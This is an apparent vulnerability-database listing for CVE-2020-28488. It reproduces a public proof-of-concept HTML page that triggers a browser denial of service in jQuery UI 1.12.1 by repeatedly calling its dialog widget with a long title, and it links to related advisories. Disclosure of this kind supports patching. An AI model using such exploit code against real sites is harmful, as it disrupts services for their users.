jQuery UI 1.12.1 Denial Of Service

🗓️ 28 Jan 2021 00:00:00Reported by Rafael Cintra LopesType

packetstorm🔗 packetstormsecurity.com👁 345 Views

jQuery UI 1.12.1 Denial Of Service vulnerabilit

Reporter	Title	Published	Views	Family All 11
0day.today	jQuery UI 1.12.1 - Denial of Service Exploit	28 Jan 202100:00	–	zdt
GithubExploit	Exploit for CVE-2020-28488	25 Jan 202112:39	–	githubexploit
Circl	CVE-2020-28488	22 Jan 202116:29	–	circl
CNNVD	Openjs jquery-ui Resource Management Error Vulnerability	22 Jan 202100:00	–	cnnvd
CVE	CVE-2020-28488	22 Jan 202113:40	–	cve
Cvelist	CVE-2020-28488	22 Jan 202113:40	–	cvelist
Exploit DB	jQuery UI 1.12.1 - Denial of Service (DoS)	28 Jan 202100:00	–	exploitdb
NVD	CVE-2020-28488	22 Jan 202114:15	–	nvd
Prion	Design/Logic Flaw	22 Jan 202114:15	–	prion
Snyk	Denial of Service (DoS)	18 Dec 202017:04	–	snyk

`# Exploit Title: jQuery UI 1.12.1 - Denial of Service (DoS)  
# Date: 20 Jan, 2021  
# Exploit Author: Rafael Cintra Lopes  
# Vendor Homepage: https://jqueryui.com/  
# Software Link: https://jqueryui.com/download/  
# Version: <= 1.12.1  
# CVE : CVE-2020-28488  
  
<!DOCTYPE html>  
<html lang="en">  
<head>  
<meta charset="UTF-8">  
<meta name="viewport" content="width=device-width, initial-scale=1.0">  
<title>DoS - jQuery UI 1.12.1</title>  
</head>  
<body>  
<h2>DoS - jQuery UI 1.12.1</h2>  
  
<div>  
<button onclick="exploit()">Exploit</button>  
</div>  
  
<p>PoC by Rafael Cintra Lopes</p>  
  
<script src="https://code.jquery.com/jquery-3.5.1.min.js" integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>  
<script src="https://code.jquery.com/ui/1.12.1/jquery-ui.min.js" integrity="sha256-VazP97ZCwtekAsvgPBSUwPFKdrwD3unUfSGVYrahUqU=" crossorigin="anonymous"></script>  
  
<script>  
function exploit(){  
for (var i = 0; i < 10; i++) {  
$("div").dialog({title:'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'});  
}  
}  
</script>  
</body>  
</html>  
`

28 Jan 2021 00:00Current

0.2Low risk

Vulners AI Score0.2